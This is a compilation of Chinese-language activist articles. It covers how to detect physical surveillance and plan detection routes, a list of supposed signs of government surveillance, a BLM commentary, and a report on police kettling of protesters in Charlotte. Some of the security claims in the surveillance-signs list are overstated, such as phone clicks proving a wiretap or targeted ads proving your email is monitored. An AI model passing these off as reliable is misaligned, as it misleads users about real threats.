这属于较高水平的敌对监视，也许你在现实中遇不到这么高的水平，但如果你能以高水平的基础掌握这些观察技能，你将可以应对一切水平模式的敌对监视。

移动监控：

在进行移动监控时，事情变得有点棘手，因为监视者也可能需要移动。在运动状态下，监视人员通常希望在目标后面的某个地方，并且可能在后侧面，而不是直线（那样有点傻。或者说如果你只关注直线后方，也有可能会傻）。当目标在典型的城市人行道上向前移动时，我们可以想象潜在的监视区域范围：一个是在目标后面，一个在后面但在街道的另一侧，当它向前移动时将被“拖”到目标后面。

关于移动监控最具挑战性的事之一是当目标不可避免地停止时（无论是短时间还是较长时间），监视者需要做的事情。这是因为目标从移动切换到静态，然后可能再次返回移动状态，这些过渡点对监视者来说是真正的挑战—因此也为您提供了探测好机会—因为监视者必须快速弄清楚如何继续跟踪他们的目标，而不会出现任何令人惊讶的、混乱或紧张的迹象。

如何发现监控

「图」

主要通过注意与目标的相关性来检测监视。因为在这种情况下，你自己是目标，所以挑战在于发现某人是否与你有关，即使他们故意试图从你身后或在你视野之外的角度来监视你。

如果你不想透露正在寻找监视这一事实，就不得不想方设法简要地浏览上述监视有利位置（静态和移动监视点）。简单说就是，你能看到有人在看你，在你移动和停止时，或者只是在不同的地方在一段时间内以某种方式多次出现“碰巧”。

听起来有点棘手，因为大多数可能下处于潜在有利位置或在街上走在你身后的人都没有试图监视你。我不想把你变成疑神疑鬼的人，但是你应该知道自己什么时候需要做这样的警惕。

要知道，监视人员与其他任何人的不同之处在于，他们有意地试图观察你在哪里以及你去哪里。因此，监视人员肯定会展示出与您的积极关联—特别是在时间和距离上—这是最重要的指标，可以将监视人员与周围的其他人区分开来。发现这些相关性并不总是很容易的，但通过练习，你肯定能做得更好。

以下技术旨在检测一些经典的监测指标，忘掉那些关于“可疑人”的典型特征吧，有些书描述的东西完全是错的。请记住，如果被非常高级的情报部门进行监视、或者如果您正在被一个协调一致的操作团队来进行监视，光靠这些可能不够。当然我们的读者中也不会有值得间谍机构大规模出动的人选哈。玩笑。

好消息是，您可以随时随地练习这些技巧—逐渐变得更好，更精细地应用它们。逐渐趋向能应付更高级的和团体协作的监视状态。

静态监视检测：

- 当你在家、工作地点、餐厅、酒吧等地时，试图找到来自*外面*的视角（通过窗户、入口等）。试着看看你是否可以在有利视角的位置找到任何人，或者只是在外面徘徊的人，看看谁会密切关注你可能会使用的入口/出口。
- 当您出来时，使用自然的转头和周边视觉来查看是否有人注意到您的退出，并正在准备从静态转移到移动状态—从而与您自己的转换相关联。

移动监控检测：# 当你向前迈进时，试着找到创造性的方法，在你身后的区域、但在街道的另一侧，瞥一眼。这样做的一个好方法是定期侧视，并使用周边视觉来看待你身后（商店橱窗是个好东西哦）。你需要隐藏自己这种观察动作，让自己看起来是对身边的东西感兴趣，而不是身后的东西，看看华丽的汽车或走过身边的有吸引力的人，等等）。尽量不要夸大这些动作，保持自然。您需要的只是极短的一个目光，即便发现了跟踪者也要当作没发现一样。这很重要。

- 使用人行横道，红绿灯或其他常见的可以短暂停留的理由，来自然环顾四周，从而获得更好的外围视图，了解您背后的情况。
- 找到合理的原因，穿过你正在走的街道的另一边。你将要做的90 度转弯可以将你身后的区域尽收眼底，当过马路时，你可以更轻松，巧妙地覆盖周边视野。
- 使用短暂停留（浏览商店橱窗、等待步行信号、检查手机等），试着注意你身后的人是否也突然从移动过渡到静止（从而与你的动作相关）。
- 使用更长时间的停靠点（走进商店、咖啡馆等）快速查看前窗或门，看看是否有人从移动过渡到静态，是不是有人正在观察您刚走进去的方向，或者有人开始走近你。然后重复上面静态监视检测部分中提到的两个步骤。
- 使用微小的假动作来判断您是否可能暴露。保持简单和微妙。尝试执行以下操作：

1. 走过一个带窗户的商店，然后停下来，转身回到商店。

- 当你坐在咖啡馆里，起身时（好像你准备离开）收拾你的东西，然后去柜台点东西，或者去洗手间，然后回到你的桌子或另一张桌子。
- 当然，您可以执行许多其他此类操作，并且所有这些操作的重点是：做一些监视者难以预料的动作，因此更有可能导致技能较低的监管者犯下经典的错误。这些错误通常会出现引起紧张混乱、双重攻击、从静态到移动的不自然的转变，以及不自然

地重新回到静态等等的形式，这将很容易帮助你找到存在相关性的机会。
- 记住监视者总是与他们的目标相关联，问题在于他们能够隐藏它的程度，这些行动可以决定相关性能被发觉的程度。老练的间谍是很难被发现的，但一般情况下大家遇不到摩萨德那种高手。

棘手的技巧……

「图」

许多人喜欢好莱坞式的使用反光表面、窥视孔或小工具的想法。我不是那种东西的粉丝。并不是说通过观察反光表面来发现身后的人是不可能的，但如果过度依赖这种策略，你可能不会做得好。现在我们的目标是提升你不需要借助什么东西就能在现实中操作的能力，而不是拍电影为了看起来精致。

此外，盯着窗户（或者更确切地说是它反射的东西）或使用笔记本电脑或手机的黑屏来反映你背后的东西，比你想象中要更明显。甚至一些老掉牙的套路也是有效的，例如故意掉东西以便在拾起时能环顾四周，或者停下来绑鞋带。别笑，这些都是有用的。

监视检测路线（SDR）

「图」

SDR 是您可以提前计划的预定路线，旨在巧妙地暴露敌对监视。它基本上将所有上述策略整合到一个计划的序列中，仔细选择一条路线，引诱监视人员跟随你。

典型的路线需要从您希望找到的逻辑位置开始（您的工作场所就很好）。路线不应该是您通常采用的路线，因为如果监视人员已经明确知道您要去哪，他们就不需要跟随你了（他们可以在那里等你）。相反，不要让这条路线太奇怪，因为监视人员可能不会想要跟随你，或者更糟糕的是，可能会怀疑这是一个陷阱。

确保路线中有短暂停留和长停留（您已经知道要查找什么了，以及从哪里查看）。如果存在监视，这将增加隐蔽检测监视的可能性。

说在最后

「图」

另外简单说几句外观问题。外观在反侦察术语中被称为“封面”，包括从衣着到神态到言谈举止，都要高度符合你希望自己伪装成的那个封面的特征。绝不能够你的衣着看起来像个乞丐、你的自我介绍是“无家可归的可怜人”，而你的神态警觉地瞄向四方暗藏杀机……那样的话你就演砸了。

这是一件非常微妙的事，需要强烈的意识来控制它。绝大多数情况下负责这种隐蔽行动的监视方都是便衣，而不是伪装成乞丐、小贩什么的。因为没有那个必要，除非是集体行动的监视。

要注意，并不存在绝对意义上的“便衣”，人们通常说的便衣只是代表“此人没穿制服”。此人的便装也会带有浓厚的个性特征，有可能他自己都意识不到这些。但很简单你可以判断。每个人的衣橱里都有几件根本不会去穿的衣服，你感觉它们不适合你（鬼知道当初为什么会买来）或者说不适合你的平常状态，不过请注意，那几件衣服就是你伪装自己的绝佳道具 —— 它们不带有你最容易被暴露的个性特征。

不论你是监视者，还是躲避监视的目标人，这些细节都是特别重要而需要掌握的。我们的主题是为后者服务，那么当你排查监视者时，请注意这些下意识中难以隐藏的东西。

也就是说，经过练习你完全可以通过一个人的穿着细节、言谈举止来挖出其可能的真实身份信息。要知道，被派来实施这类秘密行动的人很可能都有军事或警务背景，他们经历过很多相关的训练，这些训练完全可以塑造其个性和品味，普通人都有这种经验，当过兵的人看起来不一样，没错你的直觉就是对的。

并不是说看起来膀大腰圆、目光炯炯、穿着战术靴、使用坚固耐磨的手机壳和防水手表的人都是可疑人，绝对不是，上述所有观察点应该被结合起来使用。并且，充分调用你的直觉，它往往有很高的价值。

如果您对反侦查感兴趣，我们在未来将会介绍更多实际操作的技巧，包括在被捆绑束缚后脱身的方法、以及能帮助躲避灾难的防身之术。

好啦，记得常练习哦，包括我们以前介绍过的观察人的技巧等，当你熟练之后就能游刃有余了。今后我们还会继续介绍相关技巧。反侦察是一门复杂且专业性很高的技术。〇

原文

暗中监视的迹象 - iyouport

反侦查-在现实中反侦查反侦查-在现实中反监视

【 2019年4月24日存档】你知道政府正在如何监视你吗？你不需要是什么特殊的人物，就如我一样普通，也同样”享受”着这一系列监视。您应该知道怎样识别它们的存在。

技术正在飞速发展，政府的权力也是一样。如今几乎每个人都知道政府正在监视自己，但其中仍有很多人把这想得太简单了，就如公民社会组织 ACLU 所说：政府比你想象的要狡猾得多。

如何判断自己正在被监视？本文列举一些值得注意的奇怪迹象、以及危险度比较高的情况，一旦您发现所处的环境相符，请尽快撤离，或想办法缓解。

1. 如果你有一部“智能”电视

几年前我不知道为什么会有人想要买这种东西回家，它是一个活间谍。可惜如今你已经几乎买不到普通电视了，因为市场生产非“智能”产品不赚钱。而且不止电视机，有可能很快，你将会买不到普通的门锁、买不到普通的吸尘器、甚至普通的灯泡……

你所有的所谓“智能”技术都很酷—但它们不会给你的隐私带来任何好处。Wikileaks 文件中曾经最著名的之一就是揭示了中央情报局可以闯入三星智能电视，在这里看到《零日漏洞和 CIA 黑客工具》

受到这种工具感染的电视机被隐藏录制音频，一旦电视机完全切换回来，将通过互联网传送数据到 CIA 的计算机服务器。

截至2016年，中情局已经建立了 24 个 Android 的“零日”武库。其中一些据说是由中央情报局自己开发的，其他一些据称是从英国的 GCHQ 机构以及 NSA 和未命名的第三方获得的。

中央情报局中还有一个专门单位其工作就是瞄准 iPhone 和 iPad，允许该机构看到目标对象的地理位置、激活他们的设备的摄像头和麦克

风，并阅读文字通信。该部门还利用 GCHQ，NSA 和 FBI 获得的进一步 iOS “零日漏洞”。

所以，如果你家有这类“智能设备”，请在家里时小心说话。

2. 您尚未更新设备

不论如何，你必须依照最基本的网络卫生。防止安全漏洞的最佳方法之一就是：保持设备更新。过时的软件更容易受到损害，监视者很乐意首先盯着那些懒人（可能因为0-day太贵了）

一个例子发生在2015年，当时发现95%的安卓机可以通过一条短信被黑入。 Apple 遇到了类似的问题，他们迅速更新了。更新可能看起来很麻烦，但是当您收到更新警报时请尽快完成。

3. 你在机场被标记了

您可能会在机场被标记一次或两次，但请注意这是否经常发生。HowStuffWorks 解释说，如果你在机场多次被拦下，这就是一个标志，你的名字无论如何都在政府观察名单上。

Mental Floss 指出，现在已经有一些人由于有争议的社交媒体帖子而无法登机。虽然人们不能因“不可靠或不可信”的信息被列入黑名单，但是，社交媒体帖子肯定不会被监视者忽视。

4. 你正在分享你的cookies

存储在浏览器中的微小数据都可跟踪您一切的在线活动。这些 cookie 可以保留从您的密码到您想在亚马逊上购买的所有内容。Cookies 被放入一个巨大的数据库，公司可以在这里找出你的离线身份、并出售这些信息。

赫芬顿邮报解释说：“有两个主要群体可以访问这些数据：政府（包括国家安全局和当地警察局）、以及私营部门（即：广告业）。”

5. 你打开了可疑的电子邮件

我们都收到了可疑的电子邮件。问题是你打开了吗？只需单击它，即可将发件人引入到您的设备上。我们在社交工程攻击演示中介绍过这种跟踪。

无论是政府老大哥还是垃圾邮件发送者，都会威胁您的个人隐私，您

首先要做的是删除那种电子邮件而不要打开它。无论如何都不要回复那种电子邮件。如果攻击者确认您的帐户处于有效状态，就会引发进一步的间谍活动。

6. 你的名字和政府监视黑名单上的某个人姓名相同

即使你没有做任何让自己进入政府监视黑名单的事，也可能那个名单上有与你同名的人。如果这样的话你可能就麻烦了。不用想着改名字，因为你根本不知道那个名单上都有什么名字。

HowStuffWorks 在2004年的报告中写道，一位名叫 John Lewis 的人在政府监视名单上。这是个特别普通的名字。在接下来的几年里，由于名字相同，每一个叫 John Lewis 的人登机都会遇阻。

检查您的姓名是否在财政部公布的特别指定国民和被封锁人员名单上，以确保没有不受欢迎的未来意外（包括查水表）。不过如果你住在中国的话，很可能查不到类似的名单。

7. 你在自己的车子上找到了一个跟踪器

政府可以密切关注的不仅仅是您的技术工具。很多情况下跟踪器通常隐藏在汽车的底盘中。它很小，以至于很多时候难以发觉，它们也可以安装在轮舱或排气系统中，因此有人可以随时跟踪您的汽车位置。

如果您觉得自己被跟踪了，或者行程比较敏感，在上路之前请仔细检查您的车子，特别是在较小的缝隙中。

你要提防的不只有警察和间谍，因为如今任何人都可以在线购买到这种微型跟踪器。

8. 您的数据使用率高于您实际使用的数据

您是专用Wi-Fi 用户，但您的数据正在逐渐增加。这是为什么？“今日美国”报道，这是因为国家安全局可能正在侦察您的行踪。而且当地警方也开始使用相同的做法。

因为数据量上升可能来自间谍软件，它可以追踪您的日常生活的一切。攻击者也可以使用此技术窃取您的个人信息。

9. 一辆没有任何标志的面包车停在你家门外

不，这可不是间谍电影里的俗气道具。政府确实在使用无标志的车辆

进行监视。

不是每辆停在你家外面的面包车都值得关注，但一些关键指标可能意味着它是一辆监视车。

寻找那些带有色窗户的无标志货车，这些车辆停放数天，没有任何人进入或离开车子的迹象。

10. 摄像头上的指示灯亮起—即使您没有使用它

指示灯亮起时意味着您的网络摄像头已开启。如果您的网络摄像头指示灯即使在未使用时也会亮起，请不要认为它只是故障。可能是 FBI 正在通过你的相机看着你。

这里有一些更可怕的东西：每日邮报在线报道，政府有技术可以触发您的网络摄像头，甚至不会让灯亮起来。也就是说，你可能会在没有任何意识的情况下被窥探。

如果您担心这点，请不使用网络摄像头。或者用一块不透明胶带盖住它。覆盖镜头可以防止任何潜在的间谍看到任何东西，但请记住你的麦克风可能仍然会被打开！

11. 在通话期间，您听到了奇怪的声音

是的，这意味着窃听发生了。如果您在手机上听到噪音，例如点击、弹出、刮擦或其他奇怪的声响，那么有人可能正在监听您的对话。

另外，请注意手机在不使用时产生的噪音，这是另一个标志，意味着有人正在搞乱你的线路。

12. 你家里似乎有些不对劲

你应该最熟悉自己家里的布局应该是什么样的了，尤其是一些小的细节。你真的应该牢记这些小细节。因为，Business Insider 指出，警方可以在没有告诉您的情况下、在没有任何保证的情况下，在私人财产上安装隐藏的监控摄像头。这并不意味着政府会选择偷偷潜入任何人的家，但是，如果他们认为你对社会构成威胁，你可能会发现你的整个家都被窃听了。

13. 周围的人

NPR 采访了联邦调查局特工，发现他们是融入人群的专家。这些特工

表示，他们已准备好了为所有类型的活动搭配的衣物，能够非常好地融入他们正在监视的人群中—— 参加大型群体事件时尤其需要注意这点。

如果你是单一目标，当你被跟踪时，通常会有整个团队围绕着你，尽管你可能不会注意到。现在您应该知道：如果您认为自己被跟踪了，那么记住可疑的面孔而不是衣服是很重要的，因为衣服和头发随时可以换。

14. 他们如何跟踪你的电子邮件

你是否曾经在电子邮件中讨论过某个产品或服务，然后在事后看到了一堆相关的广告？很简单，你的邮件被监视了。

你不应该对此感到惊讶，因为雅虎和谷歌都有权扫描你的电子邮件，为你提供更具针对性的广告。我们一直强调不要使用Gmail，这是最主要的原因之一。

并且，您的电子邮件服务商可能不是唯一一个阅读这些内容的人。FBI 还可以随时查看您保存或共享的任何电子邮件、图片、文件和社交媒体帖子。

15. 他们如何跟踪你的浏览

你可能已经允许网站在没有意识到的情况下使用 cookie 来跟踪你，它会记住您的密码和您查看的项目，所以在某种程度上，它们可以会让人感觉很方便。但是，你必须禁用它们。这些cookie 中的信息会出售给你都不知道是谁的人以了解关于您的更多信息。

政府也可以访问这些信息。虽然广告业和私营部门可以比政府收集更多关于你的信息—而且他们也完全会从中获得巨额利润。

16. 你在开车的时候他们如何监视你

即使您在没有带手机的情况下离开家，他们也有办法密切监视您。

ACLU 指出警车和道路标志都可以使用自动车牌阅读器作为监视。扫描您的车牌号码、日期、时间和地点。然后，这些信息会被汇集到当局的大型数据库中。

有些信息会被保存多年—或永远保存。如果你出行的路线是一个比较敏感的地点…不要使用私人任何车辆。

17. 你注册会员卡和信用卡时他们如何监视你

每个人都喜欢优惠价，这就是会员卡如此受欢迎的原因。你可能已经注册了几个—而且它们可能为你省钱。但是，您可能没有意识到某些会员卡、信用卡和类似东西很容易监视你。

使用这些信用卡和会员卡可以存储任何关于您购买行为的数据，并且会出售这些数据以及您在线活动的统计数据，以便向广告客户提供有关您的更多信息。当然，法律还可以要求访问您的信用卡历史记录。

18. 当你走在大街上他们如何监视你

国安局花了数百万美元购买高科技摄像机，为了在你走在街上时监控你。2012年，ACLU 报告仅在芝加哥就有1万部公共和私人拥有的摄像机。是的，在您当地的城市可能会有很多。

并且请记住，如果你居住的楼层比较低的话，这些玩意可以通过窗口看到你家里。所以，请记得随时拉上窗帘。〇

原文

来自中国的“跑题” - iyouport

BLM2020

【2020年6月30日存档】

上周日开始，巴西爆发反总统抗议“StopBolsonaro”，与此同时其他20多个国家 **跨国** 抗议这个极右翼总统 Bolsonaro。

事实上这才是BLM运动真正的变革着力点。是的，一个新的时间正在开始。

中国的“白左”一词就诞生于2015年全球性的极右翼叙述浪潮高峰，并持续至今（如果您看过 “Berlin Station”S2 剧集就能回顾那个高峰，即便您不读非母语新闻）。

对于BLM运动目前为止依旧有太多*来自中国*的论述将注意力集中在种族问题上，这不是错误，但是跑题，因为这样做会令这场波及全球的变革离中国越来越远，将中国社会推向吃瓜的位置。

美国媒体此前已经及时曝光了五角大楼镇压演习内部文件，其中明确显示其瞄准“低端人口”。任何一个有低端人口的国家都应该在此共鸣。

来自中国的种族歧视并不歧视NBA球员；当拳王阿里的儿子发文挺特朗普并反对BLM的时候（是的，他准确感知到了BLM对极右翼语话的冲击）中国舆论中的支持者众多。

再一次，如果您将注意力放在种族肤色上，就会跑题。

BLM必须使用这一口号是因为这代表运动的身份，也是美国本土长期的焦点议题之一，其他任何存在低端人口和警察暴力的国家在这场全球性运动中都无需套用BLM句式 —— 而是应该将议题聚焦于您的本土问题（这些曾经说过）。

这样才能令整个运动不至于偏离其变革着力点：扭转近20年来逐步上升的极右翼叙事风潮。

种族歧视只是极右叙事风潮的一个方面而非全部，对于中国来说，是极右语话（而非其他进步思想）对中国社会的感染力如此快速而普遍，这才应该是关键议题；它已经深刻表现在特朗普众多的中国粉丝和巴西大选前如此多华人支持 Bolsonaro 这些关键点上。只是人们太多追求“时效热点”了，没能将短短几年内的历史联系起来。

你经常能听到有人说 “中国是一个孤岛”，似乎外界的变动无法波及到中国？事实上并非如此，欠缺的只是知识分子的论述如何引领中国社会和世界的连通。就BLM而言，如果您聚焦种族，就会把它变成“别人家的事”；如果您聚焦阶级，就可能撕裂左右。

但是，如果您能聚焦警察国家 - 暴力、酷刑、迫害，将更有可能缩小世界与中国的鸿沟（您甚至可以不去分析警察国家的来源）。

引用IYP的话那就是，“中国暂时没有行动不要紧，但如果这些议题被变成了斗嘴、撕裂了活动家团体，那将比浪费时间更糟糕”。

中国的 “裂缝” 完全可以不是中国与世界之间的裂缝，但却是中国知识分子和活动家之间的“裂缝” - 这两个社区经常难以协作同步。

如果知识分子能更多考虑如何站在变革力量的舞台上和行动者一道持有推动变革的共同目标，朝着这一目标去努力，或至少放轻在争论中的输赢竞争，就能弥合这一裂缝。

如上所述，一个新的时间正在开始。这次中国社会并没有缺席。至于中国社会将如何感知它、并最终能否借助它的力量成全中国社会自己的期待，这取决于今天人们的思考方式。

—— 来自匿名网友

原文

这是一种最可怕的镇压战术：和平抗议者遭遇”水壶”围捕之后 - iyouport

BLM2020

水壶战术经常被使用。活动家需要格外警惕

【注】在 “直接行动分布指南” 中我们介绍过提前勘查路线的重要性，您必须在行动之前对行动区域有充分的了解，必需在整个区域内任何地方假定会遭遇镇压者的突袭，如果某个街区对您来说没有可能的撤退方案，那么就最好放弃那个区域，绕道而行。

这非常重要。两年前我们介绍过 “水壶战术”，这是一个非常经典的镇压手段，而且很恐怖，被围住的人几乎无法逃脱，只能遭受猛烈的攻击。

简单说，镇压者利用地势将抗议者围困住，然后从3~5面夹击，向抗议者人群发射弹药 —— 您没看错，可能是5面夹击而不是4面，因为在城市巷战中，这一地势包括从楼顶角度向地面射击。

其中包围行动被称为 “水壶”，包围后的攻击行动称为 “烧水”。如果您无法预防或摆脱水壶，就肯定会遭遇烧水。

本文是最近期发生的一次 “水壶” 镇压案例的描述，通过行动者的描述和事后的追责，您会看到一些对战方面的注意事项。我们使用【强调】标注。

去年，当几十名全副武装的警察从一辆城市公交车上跳下来、沿着游行路线一字排开时，成千上万的人正在北卡罗来纳州夏洛特市的市中心游行。这是该市连续第五天的抗议活动，与全国其他地方一样。

6月2日那天晚上，抗议者和平地走到学院街和第四街的交叉口，突然，走在前面的人转身开始往回跑。站在他们前面的警察开始向前进的人群直接发射催泪瓦斯和闪光榴弹。当人们向后跑时，他们遇到了跳下巴士的警察，这些警察现在正在逼近。在几个混乱的时刻，抗议者发现自己被夹在了道路一端是警察队伍、另一端是催泪瓦斯云和两

边的高楼之间。随着毒气越来越浓，人们开始尖叫和喘息。

“他们把整个抗议者队伍封锁在一排防暴警察和一堵催泪瓦斯墙之间”，正在直播抗议活动的当地记者贾斯汀·拉弗朗西斯(Justin LaFrancois)说，“从来没有人下过驱散令，也没有人说人们应该从哪里离开。镇压者用催泪瓦斯封锁了所有的出口，没有人打算穿过催泪瓦斯，因为如果你这样做，你就会被胡椒球子弹击中。”

人群中间的人开始惊慌失措，发生踩踏。“没有出路，这是我一生中感到最无助的一次”，正在拍摄抗议活动的摄影师贾斯汀·麦克尔伦说，“我试图在大多数情况下保持冷静，我从来不让自己太激动。但在那一刻，我不确定我们是否能活着离开那里。”

第三组警察驻扎在抗议路线上的一个停车场的二楼，开始向人群发射胡椒球。“我们不仅被从两侧夹击，而且还被从上面射击”，麦克尔伦说，“我因恐惧而感到反胃”。有几十名抗议者试图通过蹲在地上和爬到停车场关闭的大门下面来逃跑 —— 警方后来将这种逃生选择称为非法入侵。拉弗朗索瓦说，当抗议者最终试图离开时，警察冲向他们，再次发射胡椒球。

他补充说：“这很吓人，他们只是把你困在里面，你基本上任由他们处置”。

在与视觉调查团队SITU的合作下，记者通过将目击者和警方摄像机拍摄的录像与事件发生时的城市环境的三维数字模型进行对比，重建了当晚的事件。

这一重建提供了对同一事件的多个视角了解，表明警察故意将数百名和平抗议者暴露在催泪瓦斯和其他镇压武器之下，抗议者没有任何明确的逃生途径。这个模型，结合警察自己身上的摄像机拍下的视频，表明他们的行动是故意的，并且经过了精心的协调，尽管夏洛特市当时的警察局长声称他的手下“并不打算造成伤害”。

夏洛特事件是全国各地警察多年来对抗议者采取的战术的一个特别残酷的例子—— 仅在去年夏天的起义中就至少有十几次。抗议者和民权倡导者称之为“水壶”，这种人群控制战术包括警察包围一群人，表面上是为了将他们从更大的人群中隔离出来，以便进行逮捕。在实践中，这种战术—— 警方将其描述为“围困”、“遏制”或“包围”—— 将人们困在街头，没有直接的出路，不分青红皂白地对所有人进行连续不断的暴力镇压，而不管个人行为如何。

夏洛特-梅克伦堡警察局的发言人罗伯特·图法诺在一封电子邮件中告诉记者，“根据该部门的标准操作程序，禁止‘水壶’的做法”。图法诺补充说，在2020年6月2日之前，这种做法“都没有被明确禁止”，但关于民事紧急情况标准操作程序的准则后来被更新，以包括该禁令。尽管如此，禁止“烧水”却并没有写进该部门的任何公开政策中。

在警察部门，“水壶”在很大程度上是不受管制的，包括市长和警察领导人在内的政府官员对何时适合使用“水壶”、“水壶”是什么、甚至是否使用“水壶”做出了完全不一致的解释。在警察的培训中，几乎没有关于如何减轻其伤害的指导，例如，允许被围困的人们离开的方式。

因为“水壶”本质上是一种不留痕迹的临时性布阵，所以很难在事后证明它的发生。因此，与其他警察战术相比，“水壶”并没有受到广泛的谴责或法律上的挑战 —— 即使这种做法的使用已经明显激增。

【强调：活动家现场取证非常重要，因为采用这种战术的镇压者很容易在事后否认。】

亚利桑那州立大学犯罪学和刑事司法学院教授爱德华·马奎尔 (Edward Maguire) 告诉记者，“观察者的大部分注意力都放在了催泪瓦斯、冲击性弹药、军事装备和战术的使用上。催泪瓦斯是显而易见的，有视觉上的捕捉；冲击性弹药和由此产生的伤害可以有引人注目的视频和照片作为证据，它非常直观，容易看到和被理解。”然而，“并没有关于水壶的全国性对话”，马奎尔补充说，“根据一个特别令人震惊的水壶镇压案例，人们会一次性地谈论水壶，但它并没有作为一种全国性的关注议题被讨论”。2020 年 6 月 2 日，在北卡罗来纳州夏洛特，警察向示威者逼近

“我如何才能获得氧气？”

「图」

抗议发生后的第二天，夏洛特-梅克伦堡警察局长克尔·普特尼为镇压者的行为辩护。他在一份声明中说：“没有任何迹象表明我们的警察有故意滥用职权的行为”。普特尼在不到一个月后下台，他承诺进行独立调查，并公布身体摄像机的录像，以显示警方的说法”。

【强调：身体相机很可能不足信，关于为什么，见《身体相机适得其反吗？中国正在开始流行这种东西》】

警方声称，他们是在接到报告后才做出反应的，当时人群“人数众多，充满敌意”，而且当晚有人向警察投掷瓶子。但是，据称扔瓶子的事件比水壶事件早了近一个小时，而且是在抗议活动穿过市中心的另一个区域时发生的。那些被卷入水壶的抗议者说，当警察包围他们的时候，每个人都很平静 —— 几段拍摄到的视频显示，当时人群正在高呼，并有秩序地在街上游行。

事件发生后不到两周，北卡罗来纳州调查局发布了一份五页的事件审查报告，该报告主要基于警方记录和对警察的采访。但一些证人对报告中的结论提出异议。

例如，警方告诉调查人员，车库屋顶上的警察一直在向人群上方的墙壁射击，而不是直接向人射击，但记者拉弗朗索瓦回忆说，他看到有人被击中面部、颈部和肩部。一位警察告诉州政府调查人员，警察只从车库的二楼发射了“大约5–6颗”胡椒弹。但拉弗朗索瓦在抗议活动结束后的第二天回到现场，拍下了墙壁上至少20颗子弹的痕迹。“他们的调查是不准确的”，他告诉 Intercept。

【强调：公民独立调查非常重要。】

州政府的调查还声称，有两个出口仍然开放，供人们撤离—— 而警察将这一结论作为证据，证明当晚警察的行动并不等同于水壶。但据当时在场的人说，街道上充满了催泪瓦斯，调查人员描述的所谓路线即便存在在人群中也是看不到的。“你看到的都是模糊不清的东西”，麦克尔伦说，“你必须要有很大的胆量，才能尝试穿越过去。”

为了离开，抗议者将不得不穿过厚厚的毒气云。“我不认为和平示威者必须穿过大量的化学制剂云才能逃生是任何所谓明确的道路”，在联邦诉讼中代表许多被困在水壶中的抗议者的律师卢克·拉格斯告诉记者说，“并没有明确的逃生道路。”

被困在水壶中的抗议者描述说，他们不得不在慌乱中对自己最安全的出路做出瞬间决定。被困在水壶中的美国公民自由联盟组织者克里斯蒂·帕克特·威廉姆斯（Kristie Puckett-Williams）说：“你不应该被置于一个你必须对自己如何呼吸做出决定的位置上，我怎样才能躲到一个安全的地方而不被胡椒弹打中？我是否要从这扇可能会压死我的门下面钻进去以进入车库？”

帕克特·威廉姆斯补充说，这些警察显然“训练有素；他们的行动非常高效……他们没有错过任何一个环节。”

8月底，在抗议活动发生近三个月后，夏洛特市官员公布了当晚警方摄像机拍摄的57段视频。这些视频表明，警察的行动是有预谋的，而且具有高度的协调性—— 这一结论也得到了SITU和The Intercept对事件重建的支持。在视频中，可以听到警官详细描述了他们预定的行动。

在另一段视频中，人们听到警官为迫使抗议者 “逃跑” 而大笑。在另一个视频中，一名警官对警察向人群发射胡椒球作出评价称：“这真是太棒了！”

即使在视频发布后，夏洛特市官员也继续否认警方上演的是一场 “水壶” 战术。市议员埃德·德里格斯（Ed Driggs）反而将责任归咎于风，他说 “是风造成了在水壶中的感觉”。(Driggs 没有回应对他的评论进行详细说明的请求。)

McErlain 和 Puckett-Williams 都参与了诉讼，他们说这次经历的创伤在近一年后仍然笼罩着他们。McErlain 说：“当我们交谈时，当我重温当时的状况时，我仍然感到同样的愤怒”。

帕克特-威廉姆斯说，被卷入水壶的人留下了 “无法弥补的伤害。……我们不仅仅是害怕，我们害怕警察会把我们闷死，而我们却无能为力。”夏洛特-梅克伦堡警察局长 Kerr Putney

控制人群

「图」

早在被警察采用之前，军队就已经采用了水壶战术，作为小部队与大部队抗衡的一种方式。这种战术的现代演变可以追溯到1979年辛辛那提的一场音乐会，当时有11人在试图进入音乐会会场时被踩死，还有几十人受伤。这一事件帮助刺激了一个新的研究领域，为警察开发了控制大量人群的方法。1980年，一份关于辛辛那提事件的报告首次确定了 “人群管控” 这一术语，多年来，执法部门主要将这些原则作为足球比赛和其他大型活动后驱散球迷的一种方式。

但是，很快，警方开始将这种手段应用于抗议活动。第一个已知的例子可以追溯到1986年，当时德国汉堡的警察包围了800多名反核示威者，将他们困在街上长达13个小时。虽然德国法院认定随后的逮捕是非法的，但在接下来的几十年里，欧洲警察经常采用这种战术。

原本作为安全引导人们通过潜在危险的过度拥挤区域的工具，却完全

变成了另一种东西：一种困住人们的方法。

前新泽西州警察局长布莱恩·希金斯（Brian Higgins）说："管理人群和控制人群之间有明显的界限"，他现在向联邦执法部门教授人群管理，是约翰杰伊刑事司法学院的兼职教授，"管理人群是能够使其不变得不可控制。如果它变得不可控制，那么我们就有了人群控制，在那里警察进来并使用其他手段。"

希金斯补充说，"烧水"是警察干预和控制正在变得不可控制的人群的一种方式。他说："烧水是确定人群变得激动的地方，即从和平抗议变成不那么和平的抗议的地方；它是确定闪光点在哪里，并把它从大人群中分离出去。这几乎就像切断一个火源，让它无法蔓延。"

在过去的几十年里，已经发生了一些引人注目的"水壶"事件。2002年，华盛顿特区潘兴公园的警察对数百名反战和反全球化的抗议者以及一些路人进行了围捕，其中甚至包括游客和至少一名脆弱的老人。"已经有好几次，被卷入水壶的人是坐轮椅的人、孕妇、孩子"，亚利桑那大学教授马奎尔指出，"这是一个非常非常危险的做法。它真的可以诱捕那些没有做错任何事的人。"

【强调：如果抗议者寄希望于选择一个拥挤的、充满了路人的场所进行示威活动，期待镇压者会顾及太多普通公民的存在而不敢使用极端的战术，那就错了。镇压者很可能根本不关心任何人的安全。】

第二年，芝加哥警方在一次反战抗议活动中围堵并逮捕了800多名抗议者。在2011年纽约的"占领华尔街"抗议活动中，警方多次使用网状围栏包围抗议者。而在俄勒冈州波特兰，2017年，以及今年早些时候，警察将抗议者困在一个水壶里，只有在他们同意被警方拍照并出示身份证后才允许他们离开。

在欧洲，镇压者也很多使用水壶战术，最引人注目的是2009年伦敦G20峰会的抗议活动，当时警察将近万名民众困在街头长达7小时。一名卖报纸的小贩伊恩·汤姆林森（**Ian Tomlinson**）在试图找到逃离水壶的方法时被一名警察击中而死亡，这促使官方调查得出结论，水壶是属于"不同时代"的"不适当"的战术。这起伦敦案件一直上诉到欧洲人权法院，然而，该法院作出了有利于警察的裁决。纽约警方于2020 年 6 月 2 日在纽约市阻止抗议者和活动人士穿过曼哈顿大桥

有计划的攻击

「图」

